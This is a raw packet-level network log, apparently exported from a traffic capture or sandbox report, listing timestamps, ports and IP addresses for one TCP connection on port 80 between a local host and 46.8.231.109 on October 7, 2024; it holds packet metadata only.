Oct 7, 2024 17:22:06.371949911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371951103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371959925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371994972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372020006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372030020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372035027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372044086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372049093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372086048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372180939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372189045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372224092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372322083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372330904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372339964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372349024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372366905 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372376919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372404099 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372419119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372428894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372437954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372466087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372473955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372484922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372490883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372494936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372504950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372514009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372531891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372555017 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372677088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372687101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372695923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372725964 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372750044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372751951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372762918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372771025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372781038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372788906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372797012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372805119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372814894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372819901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372828960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372828960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372840881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.372849941 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372869015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.372879982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373136044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373145103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373153925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373181105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373199940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373207092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373209953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373218060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373226881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373246908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373274088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373297930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373311043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373320103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373330116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373347044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373369932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373593092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373640060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373652935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373662949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373672962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373697996 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373718023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373821974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373832941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373842955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.373871088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.373895884 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374255896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374284029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374293089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374300957 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374320030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374336958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374398947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374408960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374418974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374433994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374439001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374444962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374454021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374458075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374471903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374485970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374509096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374545097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374553919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374563932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374568939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374577999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374583960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374588966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374622107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374638081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374706984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374746084 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374748945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374759912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374789953 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.374973059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374984026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.374993086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.375017881 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.375041008 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863524914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863586903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863626957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863660097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863696098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863728046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863739014 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863739967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863739967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863739967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863761902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863780975 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863780975 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863795042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863876104 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863893032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863926888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863934040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863934040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863962889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863979101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863993883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.863998890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.863998890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864010096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864017010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864028931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864043951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864046097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864058971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864068031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864068031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864075899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864090919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864093065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864111900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864114046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864115000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864128113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864145041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864151001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864151001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864161015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864164114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864178896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864196062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864196062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864201069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864212990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864217997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864233017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864248037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864253998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864253998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864263058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864273071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864279032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864294052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864300013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864300013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864310026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864320040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864326000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864341974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864351988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864351988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864357948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864370108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864377022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864392996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864398003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864398003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864409924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864427090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864433050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864433050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864442110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864458084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864460945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864460945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864473104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864474058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864490032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864506006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864509106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864509106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864521027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864531040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864536047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864552021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864557981 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864557981 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864567041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864583969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864587069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864588022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864598989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864608049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864615917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864631891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864638090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864638090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864648104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864662886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864669085 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864669085 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864682913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864698887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864703894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864703894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864715099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864720106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864729881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864747047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864753962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864753962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864763975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864784956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864784956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864801884 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864845037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864861012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864876032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864890099 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864892006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864907026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864914894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864914894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864923954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864937067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864938974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864954948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864959002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864959002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864968061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.864972115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.864983082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865006924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865006924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865008116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865024090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865047932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865047932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865048885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865063906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865071058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865081072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865093946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865096092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865111113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865115881 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865115881 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865125895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865138054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865142107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865154982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865156889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865170002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865178108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865178108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865185022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865195036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865200996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865207911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865217924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865231991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865240097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865240097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865247011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865262985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865277052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865291119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865297079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865297079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865305901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865322113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865338087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865353107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865365028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865365028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865369081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865384102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865401030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865412951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865412951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865434885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865468979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865675926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865690947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865705013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865719080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865729094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865735054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865736961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865752935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865768909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865770102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865770102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865789890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865802050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865823030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865827084 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865839005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865854025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865869045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865876913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865876913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865884066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865894079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865899086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865912914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865914106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865921021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865930080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.865931988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.865936995 CEST	80	49704	46.8.231.109	192.168.2.5
